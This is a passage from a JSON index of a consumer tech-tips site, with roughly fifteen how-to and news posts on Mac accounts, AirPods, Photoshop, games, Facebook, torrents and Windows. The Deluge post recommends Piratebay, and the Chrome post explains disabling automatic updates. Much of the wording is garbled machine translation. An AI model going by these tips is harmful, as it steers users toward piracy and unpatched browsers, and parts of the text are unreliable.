ncG1vNJzZmismaXArq3KnmWcp51kxKq4y2aroZ1dmba0uMiknGaapanBsLqMqKVmsZ%2BqwbauxGaZnmWimrqwwsSd\n","link":"/post/will-the-dislike-button-on-youtube-be-removed/","section":"post","tags":null,"title":"Will the Dislike button on YouTube be removed?"},{"body":"If you're practicing social distancing and staying inside due to the coronavirus pandemic, you might find yourself suddenly sharing your Mac with your partner, kids or roommates. What you might not know is that you can easily set up a different account for each person, so everyone can personalize their settings and options without forcing a custom layout or shared internet history on everyone else.\nCreating multiple user profiles gives the people in your household a private, customizable experience on the same device. It can also help avoid issues with things like logging in and out of accounts -- for example, if everyone in your family uses Gmail, you don't have to log in and out of your accounts constantly if you just log into your own profile. And if you're a parent, it's great for setting parental controls on your child's account.\u0026nbsp;\nHere's how to set up new user accounts on your Mac, according to Apple. Just note that you have to be an administrator of your Mac to make these changes (more on that below).\u0026nbsp;\n1. On your Mac, click the Apple icon in the top left corner of your screen. Click System Preferences, and then click Users \u0026amp; Groups. You'll see a list of current users to the left -- if you're the administrator, you'll see the word Admin below your account name.\u0026nbsp;\n2. Click the lock icon to make changes, and enter the administrator name and password.\n3. Click the + button below the list of users.\u0026nbsp;\n4. Choose the type of account you'd like to create: standard, administrator, managed with parental controls, or sharing only. Here are the differences:\nStandard: Standard users can install apps and change their own settings, but can't add other users or change other users' settings. \u0026nbsp; Administrator: Can add or manage other users, install apps, and change settings. Your Mac can have multiple administrators. Sharing only: Can access shared files remotely, but can't log in or change settings on the computer. An administrator will need to give them permission to access shared files or screens.\u0026nbsp; You can change a standard account to an administrator later on if you want to.\n5. In the same window, enter the new user's full name, which will general an account name for them automatically. Enter and verify a password, and a password hint. (If your Mac has Touch ID, new users can add a fingerprint after logging in to unlock their account.)\u0026nbsp;\n6. Click Create User.\u0026nbsp;\n7. That's it! You should now see the new user's name on the list alongside yours and any others you've created.\u0026nbsp;\nTo get started on customizing the new user account, log out of your Admin account and let the person you created it for log in. From there, they can customize their background, apps, browsers and just about anything else they want to.\nNeed more Mac tips? Check out Your new Mac: This is the best way to set up your Apple computer, and the 10 best tricks you didn't know your Mac could do.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kuqKvjK6qnqqjYrWmvsSsZKGnp2LBsHnSnqtmraBirm66xLBkrquVp3qir8KorKes\n","link":"/post/here-s-how-to-set-up-a-new-user-account/","section":"post","tags":null,"title":"Here's how to set up a new user account"},{"body":"With Apple devices or other mobile devices, the serial number is necessary to guarantee the device as well as perform many other utilities and procedures. AirPods Pro is an improved version of AirPods Pro with a lot of utilities that the device brings to the user, such as IPX4 waterproof, noise-proof soundproofing.\nAnd with AirPods Pro, the serial number is also very important to meet the special basic requirements in the device warranty. Normally, iPhones and iPads have serial numbers printed on the back of the device, but with AirPods Pro changed the location of the serial numbers. So how to find the serial number on AirPods Pro.\nHow to check the warranty of Apple devices Common AirPods errors and how to fix them How to control the Transparency feature on AirPods Pro How to connect 2 AirPods to iPhone to share music Instructions for finding the AirPods Pro serial number Method 1: Find the AirPods Pro serial number in the charging box\nApple has changed the location to print the serial number with AirPods Pro that's in the charging box. We open the lid and we will see the serial number printed on the left side of the lid.\nThe serial number on the AirPods Pro case also has a serial number, so if you do not hold the AirPods Pro.\n  Method 2: Find the AirPods Pro serial number in iPhone\nIn case the serial number in the AirPods Pro box is blurred or not visible, we can connect AirPods Pro to the iPhone to find the serial number.\nFirst, connect AirPods Pro to your iPhone and then go to Settings , select General\u0026gt; About . Scroll down the screen to see AirPods Pro name is connected to iPhone and is working.\nWe just need to click on the name of AirPods Pro and click on the Serial Number line to see the serial number of AirPods Pro.\nAirPods Pro and 2nd Generation AirPods both have their own serial numbers printed on the device. In case the user needs to bring the AirPods or charger to warranty, immediately use the serial number printed on the body of the device.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGarlae2oriMp6ymmpWnerCyjJqgq6ifmcBuvNGo\n","link":"/post/how-to-check-the-serial-number-of-airpods-pro/","section":"post","tags":null,"title":"How to check the serial number of AirPods Pro"},{"body":"If you've ever expected Firefox to catch up with Chrome's Progressive Web App (PWA) functionality, your wait seems to have worked. Mozilla has mentioned the Site-Specific Browser (SSB) feature several times over the years and has been supporting it on mobile devices since 2017, but starting with Firefox 73, SSB seems to be aiming to become a the core part of the desktop browser.\nCurrently, SSB is hidden as an experimental feature, but you can still activate and use it in any major Firefox browser version (Nightly, Developer, Beta, Stable), before it officially becomes available. Launched and available by default.\nWhat does the Site-Specific Browser (SSB) do? Firefox and SSB browsers Site-Specific Browser will basically create an 'application' that runs in a separate browser version and acts like a desktop application. That means some websites will come with taskbar buttons, offline functionality, program-like launch and many other perks, making them easier to use than browser-based websites. traditional.\nThis feature also removes a lot of toolbars, menus and other UI functions of the browser, limiting you primarily to what websites are programmed. Depending on the application or website, this may make your experience smoother.\nHow to enable Site-Specific Browser (SSB) 1. Type about: config in the Firefox address bar and click on the warning.\nEnter about: config in the Firefox address bar and click on the warning 2. In the search bar, type:\nbrowser.ssb.enabled 3. You will see the Boolean value here, so press the arrow button on the right to convert the value to True.\nConvert the value to True 4. Restart the browser.\nHow to use Site-Specific Browser (SSB) 1. Access any website you want to use as an application. The Discord chat application is a prime example because it already has a desktop application that uses the Electron framework to run web technologies as a program, meaning the SSB / PWA version will look quite similar to the current desktop version. have.\n2. Click the three dots on the address bar to the right of the URL.\n3. Choose either of the 'Install this website as app' or 'Launch Site Specific Browser' options (this may vary depending on the version you use).\nChoose either option 'Install this website as app' or 'Launch Site Specific Browser' 4. This will install a shortcut to the application directly on the desktop, allowing you to access it like a normal program. If the application already has a desktop version, you can even use both at the same time if you want.\n5. To manage websites installed in the future, navigate to the hamburger menu and look for 'Site Browsers' or 'Installed websites' (depending on your version of Firefox).\nSearch for 'Site Browsers' or 'Installed websites' 6. Clicking on a website here will launch it in a new window. In the current version of Stable (Firefox 74), that's all you can do, but both Developer and Nightly include an X on the right to allow you to delete the installed site.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYysoK2do6WypLXFoppmmqKkxLSx0WaqrJpdnrtussirnJ%2BnqA%3D%3D\n","link":"/post/how-to-enable-site-specific-browser-ssb-in-firefox/","section":"post","tags":null,"title":"How to enable Site-Specific Browser (SSB) in Firefox"},{"body":"After finishing editing an image in Photoshop, of course we need to save or export the image. It may seem like an easy operation, but in reality, how to export images to have high quality, or small capacity, not everyone knows. Therefore, the following article will guide you more specifically how to save photos, export photos in Photoshop.\nI. How to save photos in Photoshop In Photoshop, to save their working files, please click on File \u0026gt; Save or pressing Ctrl + S .\n  Select the folder containing the file, name the file, select the format as .PSD and then click Save .\n  Only the first time you save the file, you have to customize many of the above. The next time you save you just press Ctrl + S, all changes will automatically be applied to the created file. Because the operation is much simpler, you should formulate a habit for yourself to regularly save files while working, to prevent problems such as power outages, crashes, etc. begin again.\nII. How to export images in Photoshop Saving a .PSD file only saves your work in Photoshop, so it can only be opened by Photoshop. The ultimate purpose of photo editing is to produce an image that can be viewed by other devices, so after the editing is complete you need to export the file to an image format, such as .JPG or. PNG.\nPhotoshop provides two options for exporting images: for general purpose and for web.\n1. Export photos for normal purposes To export an image, click on File \u0026gt; Save As . or press Shift + Ctrl + S .\n  Select a folder to save the exported image, give the file a name, and choose a file format. The two most common image formats for common use are JPEG and PNG.\n  a) Case 1: If exporting in JPEG format\n- Check the box ICC Profile: sRGB IEC61966-2.1 (to help prevent color errors when printing or uploading) and Use Lower Case Extension (the extension is written in lowercase, this is mandatory in a number of cases, such as saving images on the web), then press Save .\n  - In the JPEG Options dialog box , drag the Quality bar to change the image quality up or down depending on your needs. Select Baseline Optimized if you want to optimize the image. Finally click on OK .\n  * Note: Images saved in JPEG format will lose transparent areas.\nb) Case 2: If exported in PNG format\n- Check the box Use Lower Case Extension (the extension is written in lowercase, this is required in some cases, such as saving images on the web), then press Save .\n  - In the PNG Options dialog box , under Compression , select None if you do not want to compress the image (or Smallest if necessary to reduce the size). For Interlace, select None . Finally click OK .\n  2. Export images to optimize for the web Typically, the larger the image, the higher the quality. However, when displaying images on the web, we need to optimize the image size so that the page load does not take too much time, making viewers feel uncomfortable.\nTo do this in Photoshop, click on File \u0026gt; Save for Web . or press Alt + Shift + Ctrl + S .\n  In the window that appears, you can choose the image format, customize the quality, optimize, size, . The preview image on the left will help you track changes before deciding to export. photo out. Finally click on Save .\n  Through his article on how to save photos, export photos in Photoshop so that the output image best suits your needs. I wish you soon become proficient in this job!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2opbyzwIypn6isn6h6tK3VnmSpoJ%2BpvLR5yKdkqaCfqby0tM6p\n","link":"/post/how-to-export-photos-save-photos-in-photoshop/","section":"post","tags":null,"title":"How to export photos, save photos in Photoshop"},{"body":"Today, join TipsMake to understand how you can find and exploit after entering Nether Hell.\nMinecraft is a formidable name in the gaming industry in many countries with an increasing number of players. Most popular games of 2020 and 2021. Unlike other BR titles that emphasize combat skills, Minecraft is more inclined to strategy and building features.\nHow to find Nether Underworld in Minecraft This structure looks like a large castle with the exterior made of nether bricks. There are plenty of resources in Nether that you might need, including some exclusive and rare. That's also why so many Minecraft players want to locate Nether and explore them. There are 4 ways to find Nether in Minecraft including:\n1. Increase viewing distance You should keep your viewing distance high to make it easier and faster to spot the fortress. If it is low, it is very difficult to detect this structure. If you set the viewing distance to 32, you can spot the fortress 32 segments away from you. Increasing this status allows you to see the fortress from near to far.\n  2. Move over the Nether bridges When exploring Nether Kingdom, you can follow the bridges inside to find more Nether, many Nether are linked together through bridges. Hence, you can sometimes find plenty of Nether around while walking along the bridge you're exploring.\n  3. Make a bridge across the lava ocean Many Nether Kingdoms emerged from the Lava Ocean, you need to overcome those deadly things to explore the Nether in Minecraf picking up the necessary resources. Use strong, resistant rocks and pebbles to build a bridge over the lava ocean so you won't fall and die. Therefore, you need to bring enough materials to build a bridge when you find the Nether Kingdom in Minecraft\n  4. Check the surrounding area As mentioned in the previous section, Nether Kingdoms are randomly spawned across the Minecraft world. Therefore, it can be very close to you. Increase your viewing distance and always check surrounding areas. Some forts are hidden behind Netherrack blocks. So you have to check them carefully.\nNether item in Minecraft? There are so many rare and exclusive resources in Nether Fortress that you can exploit, check out some of the significant benefits of Nether in Minecraft here for even more reasons you have to find them right away.\n- Nether chests : Some chests are spawned in corridors in the Nether, open it you can get a lot of supplies and resources from those chests, such as iron bars, gold bars, horse armor , obsidian, tag and saddle.\n- Sword Blaze Spawner\n- There are many other benefits of Nether that urge you to find them in Minecraft.\n+ For example: You can also get some skulls to decorate your house or summon skeletons in this game.\nBesides, you can also use those fortresses as a player base that is naturally created. This is also the ideal training place with a lot of monsters to improve your fighting skills in Minecraft.\nHere's a detailed guide on how to find Nether in Minecraft and some resources you can exploit from those fortresses. Try to search as many fortresses as possible to get more rare and exclusive equipment.\nMinecraft Nether in Minecraft ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FuusStn56qXZ67brnIp5ycqpGbwQ%3D%3D\n","link":"/post/how-to-find-nether-in-minecraft/","section":"post","tags":null,"title":"How to find Nether in Minecraft"},{"body":"Facebook is a social network where you can share any information with anyone, be it your friends, relatives or strangers that you don't know. But you don't always want to share information on Facebook with all your friends, or want to keep secret information with some people. If so, the Restricted Facebook feature will help you.\nRestricted Facebook is a feature that helps create limited lists with friends on Facebook. Then, those who are put on the restricted list will not be able to see the information you share on Facebook unless the post public mode. As such, we absolutely can stop our friends from viewing information on Facebook.\nInstructions on how to hide personal information on Facebook Instructions for securing 2 layers of Facebook by phone number How to secure your accounts with U2F security key? How to create a limited list on Facebook Step 1:\nAt the home page interface on Facebook, in the list of message boards on the left side of the screen, go to the Discover section, then click on the Friends list .\n  Step 2:\nSwitching to the new interface we will see a list of friends that Facebook has categorized. Click on the Restricted group.\n  Step 3:\nIn the Restricted interface, users will see Facebook's notification about this list with their friends listed in this list can only view your posts, personal information on Facebook in public mode.\nTo add friends click on Add friends to the list .\n  Step 4:\nAppearance Restricted Edit with friends list on Facebook. Please select on those who want to put on the limited list. In the case of multiple friends list, you can enter your friend's Facebook account name in the Search bar above.\nClick Finish below to create a limited list.\n  You will then see a message in this list with the number of Facebook accounts included.\n  Step 5:\nIn case you want to customize the Restricted list, add or remove the Facebook account in the list, we also access the Restricted interface. Next click on the Manage list button, then select Edit list .\n  Step 6:\nNew interface appears for editing. If you want to add anyone to the limited list, you need to switch back to the Friends list . Then the whole list of friends will appear.\n  To remove anyone from the list, switch back to mode On this list , then remove the checkmark in the Facebook account you want to remove from the restricted list. Finally, click Finish below.\n  So there is no need to unfriend, just put some friends in the Restricted list on Facebook, those people will not be able to see any information you post on Facebook. In order for Facebook security to be more secure, it is best to hide personal information on Facebook.\nVideo creates a limited list of Facebook posts See more:\nInstructions to log out of Facebook remotely when hacked account Hide your friends list with everyone on Facebook How to completely 'invisible' on Facebook? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGztcKtZK%2Bhlayys7%2BMraZmqJ%2BowW67zWadmpuVl7ywtw%3D%3D\n","link":"/post/how-to-restrict-viewers-to-post-on-facebook/","section":"post","tags":null,"title":"How to restrict viewers to post on Facebook"},{"body":"Taking photos of computer screens is definitely too familiar to users, or if video screen capturing will also have additional support tools. However, some videos are accompanied by a channel link logo, which will be accompanied by this logo.\nThis will make it difficult for users to use images for other things, but stick to the channel logo. If so, you can install Video Screenshotter utility on Google Chrome to remove the channel link logo when taking video screen shots. This utility will support popular channels like Youtube, Vimeo, Netflix, or many other video playback sites. Join Network Administrator to see how to capture video without a channel logo with Video Screenshotter utility.\nTake photos of Android smartphone screen 5 great tools built into Windows Instructions on how to take screenshots on Asus Zenfone How to use Video Screenshotter utility to capture video The channel logo image with the channel link will be as shown below. This logo is not all videos are available.\n  Step 1:\nClick on the link below to install Video Screenshotter utility on Chrome. Click Add to Chrome to install.\nDownload Video Screenshotter utility   Step 2:\nNext, click on the Screenshotter utility icon on the address bar, with the camera icon . We need to set up shooting before using.\nIn the menu, the user selects the image format to save in File Type as PNG or JPG. Choose the site to use the utility with the default YouTube, Vimeo and Netflix at the Website. If you want to take a video photo on another page, check Everything Else.\n  Step 3:\nOpening the video to take a screenshot will see the camera icon in the video playback frame. On Youtube the icon will be on the left of the Settings button as shown.\n  As for Vimeo , the camera icon will be under the Share button.\n  We just need to click on the camera icon to capture the current video screen. The photo will automatically be downloaded to the device with resolution depending on the video you are playing. Logo channel link has been removed from the video screenshot as shown below. The photo name will include the video name and the time you took the video screen shot.\n  In addition to the 3 default channels supported by Video Screenshotter utility, you can try accessing other video sites. The photo icon will appear in the top right corner of the video. As in this video you will see a Facebook page link icon .\n  Video screenshots with Video Screenshotter will no longer have associated logos.\n  Many people need to take a picture of the video screen but are stuck with the site link or channel logo, and can install Video Screenshotter utility on Chrome. The utility will completely remove the logo containing the link in the video, which helps you get the best quality video image.\nSee more:\nHow to use Captura to take photos, record, film screen of Windows 10 How to record a video screen, webcam using the LookIt widget These quality Windows screen recording software I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJurYypn6isn2K8p3nYqKytrZKaere1w56mZq%2BZqbWwwdNmq6GdXaG2r7eMqZignV2hvKi7\n","link":"/post/how-to-take-a-photo-of-youtube-video-without-the-link-page-logo/","section":"post","tags":null,"title":"How to take a photo of YouTube video without the link page logo"},{"body":"Deluge is an open-source, cross-platform torrent client that is absolutely free. As a torrent client, it enables users to share data over a peer-to-peer network, which relies on users who have the files hosted on torrents to upload them...\nPart 1of 5:\nDownloading the Installer for Your Operating System  Go to http://deluge-torrent.org/.\n  Click the icon below Deluge or the link that says Download Now. This will take you to the Download page, which allows you to pick which installer to download.\n  Pick from a variety of supported operating systems. Only choose the one you are currently using. There are plenty of systems supported, so make sure you're picking the right one. After clicking on the operating system of your choice, you will be taken to a download page for different versions of the program.   Choose a version you like. Check the dates opposite the version name of the installer to know which one is the most recent release. The easiest way to determine your operating system version is to consult your computer's manual.  Part 2of 5:\nInstalling Deluge  Head to your download directory using a file manager on your computer. As a default, the name of the folder should be Downloads. On every operating system, a simple search for the Downloads folder should take you to it.   Double-click on the downloaded program to run it.\n  Follow the setup wizard's on-screen instructions. These should be straightforward; just choose the default options.\n Part 3of 5:\nGetting a Torrent File  Go to a torrent hosting site. There are several torrent hosting sites on the Internet. A good one to try is Piratebay. It's always on the move (figuratively), so it's generally more reliable.\n  Type the name of the file you want to download. Remember that in most countries, you are only legally allowed to download copyrighted files or media that you already physically own.\n  Press the SE button on top of one of the columns at the right side of the torrent file name. This will arrange the torrent list according to number of seeders (uploaders) in descending order.\n  Select the one with the most seeders under the SE column.\n  View the comments on the page. Commenters will generally provide reviews for that particular torrent file and give you an idea of its quality.\n  Click the GET THIS TORRENT link beside the magnet icon. This will provide you an anonymous way of downloading, which is great for privacy reasons.\n Part 5of 5:\nUsing the Downloaded File  Open the location of the file. Once your download has finished, which will be signified by a Completed status, you can open the Download folder by right-clicking the row of the file and selecting Open Folder.\n  Launch the file. Double-click on the file to launch it.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqlscuunp4%3D\n","link":"/post/how-to-use-deluge/","section":"post","tags":null,"title":"How to Use Deluge"},{"body":"Often the sound quality of the computer is average, for those who require high listening, the sound does not really meet their needs. So they often look for DAC / AMP devices, removable headphones or speakers to improve their sound quality. However, not everyone can prepare such expensive devices, or quality sound cards for computers.\nIf so, we can try FXSound software, a quick solution to customize the sound, increase the sound quality when listening to music, watching videos, watching online videos. The following article will guide you how to use FXSound software on your computer.\n4 steps to troubleshoot audio loss in Windows Headphone, earphones are shy, noisy, hard to hear and how to fix them? Instructions for checking Microphone, Headphone on Windows 7 FXSound usage improves sound quality Step 1:\nFirst, visit the link below to download the FXSound software installation file to your computer. FXSound currently has 2 versions including free version and paid version. To download the paid version click on the Try iy Free button .\nhttp://www.fxsound.com/webapps/index   Step 2:\nAfter downloading proceed to install. During the installation process, the software will suggest more for users of Max Recorder software. If there is no need to install, remove the area at Install Max Recorder then click Next to continue.\n  Step 3:\nNext, the software will need users to install additional audio drivers from FXSound , click the Install button to proceed with the installation.\n  Once successfully installed we will see the FXSound interface as shown below. You can see the software provides custom groups including Spectrum, Effects, and EQ.\n  Step 4:\nTo select the sound quality that is preset according to the type of music available on your computer, click the Presets section and select Select .\n  \nA dialog box with options for music genre appears for users to select, click OK to continue.\n  The software will immediately apply to the music you are opening so that we can listen to the sound.\n  Step 5:\nWhen you have finished processing the Presets section, click on Effetcts to adjust the sound sliders depending on the person.\n  Step 6:\nPart EQ will be used to adjust the listening environment through sound quality equalizers according to studio standards.\n  Step 7:\nIn addition, FXSound also supports adding the ability to save audio preferences on the software, by clicking the Presets tab and selecting Archive select to continue Export .\n  \nThen select the archive folder and click OK to save. When reinstalling your computer and want to recover those tweaks, click on the Presets select Archive select Import . as well.\nNote that for the reading version, the free version of FXSound will have a lot of restrictions on editing compared to the paid version.\n  Of course, the use of FXSound software cannot improve the sound quality to the maximum, as when we use professional software. But FXSound also makes you feel more satisfied with the sound quality on your computer.\nSee more:\nWays to troubleshoot audio on Windows 10 How to share speakers in LAN system? Computer can't hear music, how to fix it? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqnxNKorKecXam8brXMqamorpVivaR50qisp5xdpsKiuMitsA%3D%3D\n","link":"/post/how-to-use-fxsound-to-improve-pc-sound-quality/","section":"post","tags":null,"title":"How to use FXSound to improve PC sound quality"},{"body":"However, it is quite unfortunate that Microsoft has not yet supported the feature of installing live wallpapers on Windows 11. Instead, you will need to use the help of third-party applications. Find out below.\nDownload the Lively Wallpaper app from the Microsoft Store As mentioned, you will need the support of third-party applications if you want to install live wallpapers on Windows 11. There are many tools that can help you do that, but we recommend you to do so. choose a software that is popular, used by many people and has positive reviews. This will avoid risks during use such as software conflicts, vulnerabilities, or even virus infection into the system.\nThe application recommended in this article is Lively Wallpaper, a free and open source application that supports the most popular and highly rated Windows wallpaper customization available today. Moreover, you can safely download Lively Wallpaper directly from a 'reputable' source, the Microsoft Store. First, click the Windows Search icon on the taskbar, enter the keyword 'Microsoft Store' in the search box, then click the Microsoft Store icon from the search results.\n  In the Microsoft Store, enter the keyword 'Lively Wallpaper' in the search bar, then select the corresponding app from the search results.\n  Next, you will see some information about the application. Click the 'Get' button on the right.\n  Lively Wallpaper will be downloaded immediately. Once installed on your system, you can find and launch the application using Windows Search.\n  Choose a live wallpaper from the Lively Wallpaper library By default, there will be an extremely rich library of live wallpapers for you to choose from. In this example, we will choose Parallax.js.\n  The live wallpaper you choose will be immediately applied on the system.\nSet Custom Video, YouTube Video or GIF as Wallpaper If you don't find a wallpaper you like from Lively Wallpaper's library, you can choose your own wallpaper using a video or GIF on your PC, or even embed a YouTube video.\nTo get started, open the app, then click the plus icon (+) in the left pane.\n  On the next screen, if you want to select a video or GIF from your PC, click 'Browse' in the Select File section.\n  File Explorer will open. Find the video or GIF you want to use, select it, then click 'Open'.\n  In case you want to use a YouTube video, enter its URL in the 'Enter URL' text box, and then click the arrow button on the right.\n  Whether you select a video, a local GIF, or a YouTube video, it will appear in the app's library. Click the library button (three books icon) in the left pane, then select the video or GIF you just uploaded.\n  Live wallpaper has been applied.\nSet live wallpaper on multiple screens If you're using a PC with a multi-monitor setup, you may notice that normal wallpaper changes will only be applied to one monitor. To set a live wallpaper on other screens, open the Lively Wallpaper app and click the Control Panel icon (monitor shape) in the upper-right corner of the window.\n  The default placement method is 'Selected Screen Only', which means that the wallpaper you choose will only be displayed on a specific screen. To set the same wallpaper on other screens, click on that screen in the Choose Display section.\n  Now, go back to the app's gallery and select the wallpaper you want to set.\nYou can also change the position of the selected wallpaper. That is, it can be set to make the selected wallpaper stretch across all screens.\n  Close Lively Wallpaper If you decide to stop using the live wallpaper you've set up with Lively Wallpaper, open the app and then click the Control Panel icon in the upper-right corner of the window.\n  Next, click on 'Close Wallpapers' in the bottom right corner.\n  The wallpaper will be deleted.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqttdWeZLCZnKG9orzEq6pmp55ixKq6w6iurGVhZg%3D%3D\n","link":"/post/how-to-use-live-wallpapers-on-windows-11/","section":"post","tags":null,"title":"How to use live wallpapers on Windows 11"},{"body":"Chrome updates often help fix errors and add new features. Besides, automatic updates make you do not need to worry about your updates. However, if you want to control the time and how to install the update, you can block Chrome automatic updates according to the instructions below.\nBlock Chrome updates from System Configuration (system configuration) Turning off Chrome updates via System Configuration is not a problem. You just need to open the Run command by pressing the Windows + R key combination. Type msconfig to open the System Configuration window.\nClick the Services tab . At the bottom, uncheck the box that says Hide all Microsoft services . In this Services tab, you will see a range of options.\n  Carefully look for options that are ' Google Update (gupdate) ' and ' Google Update (gupdatem)' . Uncheck both and click Apply. Don't forget to click OK to save the settings.\nDisable update directly from Registry Editor You will also need to use the Run command in this method. Type regedit in the Run window. After the editor opens, double-click the folder ' HKEY_LOCAL_MACHINE '.\nHere, you will see what is installed on your computer. Find and right-click on the Policies folder and select new\u0026gt; key . Remember to name the key you just created as Google.\n  Right-click on the Google folder and select new\u0026gt; key . Name the new key \"update\". Right-click below the default option and select new\u0026gt; DWORD and name it 'updatedefault'. Click on the newly created option and a window will appear.\nThe value data box needs to be set to 0, if not, move it to 0. Click OK to save your changes. Since Chrome won't automatically update, don't forget to check for updates when you're ready to update.\n  Next, click the vertical dot\u0026gt; Help\u0026gt; About Chrome . If any updates are pending, Chrome will start updating itself immediately. Make sure you don't take any important action when deciding to update Chrome because you'll need to restart the browser.\nTurn off Chrome updates through Local Group Policy Editor Before trying this method, be aware that not all Windows versions are available with Local Group Policy Editor. If you are sure your computer has this feature, go ahead and download the Google Update template (automatic update). Download link: https://dev.chromium.org/administrators/policy-templates\nPress the Windows + R key to open the Run command and type gpedit.msc. Right-click on the Administrative Templates section of Computer Configuration. Select Add / Remove Templates and click the Add button at the bottom left.\n  Click the Add button on the left and a new window will appear.\n  Select the GoogleUpdate.adm template that you downloaded earlier and click the Close button . This will take you to the main window of the Group Policy Editor.\nIt's simple, right. If you do not want Chrome to automatically update, you can do one of the above!\nYou can see more:\nPlease download Google Chrome 62 for Windows, Mac and Linux Put Google as the homepage on Google Chrome ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZK2toqN6sLLFZpqhqp%2Bism6t1K2mppmknrBuwc%2BdmK2do2K2r3nWoqWdp6eo\n","link":"/post/instructions-to-turn-off-chrome-automatic-updates-in-windows/","section":"post","tags":null,"title":"Instructions to turn off Chrome automatic updates in Windows"},{"body":"Since the heyday of comic books of the fifties of the last century, DC and Marvel have been the enemy forever for decades. Thanks to the development of the Marvel Cinematic Universe, it's clear that Marvel's artistic and commercial development is huge - but does this mean they can end the war between them and DC? by . buying off rival companies?\n A battle that never stopped for decades.\nLast week, Dan DiDio resigned as co-producer for DC Comics after 10 years of work. According to sources, his dismissal is a minor part of AT \u0026amp; T's restructuring. According to leaked reports, AT\u0026amp;T's restructuring plan will include the sale of DC Comics - in order to get out of publishing comic book publications and invite Marvel to take over DC.\n Dan Didio resigned after ten years to help build DC Comics.\nHowever, these reports are believed to be AT \u0026amp; T's own leak to see the reaction of fans to the merger of two princes in the comic world. So they don't seem as reliable as we expected.\nThere are many other options for DC Comics that they can refresh their lineup of talents such as recruiting more writers and making new movies to adapt the comics. For example, currently, director JJAbrams is being selected by Marvel for a new Spider-man project and after he signed with WarnerMedia, JJ can do similar projects for DC.\n Can Abrams do the same projects for DC as with Marvel?\nAs for DiDio, this rumor also shows that the conflict with AT\u0026amp;T in the \"5G\" project, in order to rebuild DC with new characters. This completely makes them feel insecure about upcoming movie projects like The Batman. Not only that, DiDio also did not receive the approval of another DC author - Scott Snyder - for this \"renaissance\" project.\nIt's just a rumor, but everything is possible - like Disney's purchase of Fox - so we need to be mindful of the deal. Perhaps thanks to such missions, we can see things that could never happen like the merging of the two universes DC and Marvel.\nAccording to WeGotThisCovered\nncG1vNJzZmismaXArq3KnmWcp51kv7a5zqtkppmiq7KtecKorKWcXZfCunnRoq2apF2ZsG6vzqagnKs%3D\n","link":"/post/marvel-could-buy-rival-dc-comics/","section":"post","tags":null,"title":"Marvel could buy rival DC Comics"},{"body":"Pocket Build is one of those extremely relaxing games that players can enjoy in sandbox mode, unleash their creativity and keep the challenge level as high or low as they desire. There's no end goal in the game and other than building your own pocket world, and there really aren't many engaging games like Pocket Build.\nHowever, this game is also full of challenges, one of which is how to get food, the main problem that many players face. Beyond that, there are others, with interesting secrets to be discovered in the following Pocket Build tips and strategies guide.\nHow to get food in Pocket Build This almost drove players crazy from the moment I started playing. Whether there are all kinds of animals, letting them roam freely or cramming them all together between the fences with all the people, etc., nothing happens. The player still cannot collect any more food.\nCurrently, the animals are not fully implemented in the game and they are purely decorative.\n  However, if you want to increase your food source, gamers will need two things: collect food and farm tools placed on the land. To get farming tools, just tap on the tree icon, then select the Farming option. Any items ordered from there, such as cereals, pumpkins, cabbages, etc. will be harvested by the citizens, increasing everyone's food availability.\nHow to collect wood in Pocket Build   With wood, things might get a little easier when placing trees early in the game. And that's all the players have to do: just place a few or more plants and ask people who can reach them.\nThey will start cutting down trees, returning the wood to everyone. And the plants will immediately grow back, so you don't have to worry about replanting them over and over again.\nDifferent types of citizens There are different types of people that can be earned for everyone's pocket world, but the truth is that they are not that much different right now. Regardless of which character they choose, they will all do the same thing. In other words, The King must also cut down trees or harvest crops like a Worker.\n  For now, the characters are just role-playing, and chances are that future updates will make things a little more specialized. Until then, there is no real difference between the farmer and the king in the Pocket Build game.\nHowever, there is a difference between Goblins (goblins) and Humans (humans). For example, if you put them together, the player will see them start fighting. This adds a bit of variety when it comes to world building, as it allows for the creation of two factions, but this isn't strictly necessary either.\nncG1vNJzZmismaXArq3KnmWcp51kvbCvyp6rZpqlnrmlecauoJ2dXZu8s3nBnp6ipp6av7Q%3D\n","link":"/post/pocket-build-guide-for-beginners/","section":"post","tags":null,"title":"Pocket Build Guide for Beginners"},{"body":"Online video sharing platform YouTube recently released a list of the most viewed video games on the platform in 2019. And no big surprise, top-selling games this year. such as Minecraft, Fortnite, Grand Theft Auto are all present and share the leading positions in a more unconvincing way.\nMinecraft took the No. 1 spot with more than 100 billion views, outstripping the name ranked at No. 2 with Fortnite with 60.9 billion views. The popular game The Grand Auto of the famous developer Rockstar Games ranked 3rd with 36.9 billion views. The list of the 10 most viewed games on Youtube in 2019 is as follows:\nMinecraft Fortnite Grand Theft Auto Garena Free Fire Roblox PUBG Mobile League of Legends PlayerUnknown's Battlegrounds Brawl Stars Mobile Legends: Bang Bang The fact that Minecraft is at the top of the list and leading the No. 2 position is Fortnite with nearly 40 billion views is something that was predicted before 2019 is still a great year of success for this game with the launch of A series of new versions, variants, and all are warmly welcomed by gamers. In addition, Minecraft is also the best-selling video game of all time.\n  In the case of Fortnite, this game can be considered as the dominant number of views as well as the number of followers on the streaming platform Twitch in 2019. Achievement 60.9 billion views on YouTube is also The numbers are extremely impressive, showing the huge attraction of the game, but this achievement has been somewhat overshadowed by the number of 100 billion views of Minecraft.\nWhat is even more surprising is that the most popular titles in the past few years such as League of Legends and PUBG Mobile have been knocked out of the top 5. Show extremely fierce competition in the Video game market 2019.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqWfqMFuwsierp6cXZyurrHSZqanZamkwrXBwZ5ka2hhbg%3D%3D\n","link":"/post/top-10-most-viewed-games-on-youtube-2019/","section":"post","tags":null,"title":"Top 10 most viewed games on Youtube 2019"},{"body":"When you want to buy a\u0026nbsp; camera \u0026nbsp;or a camera, 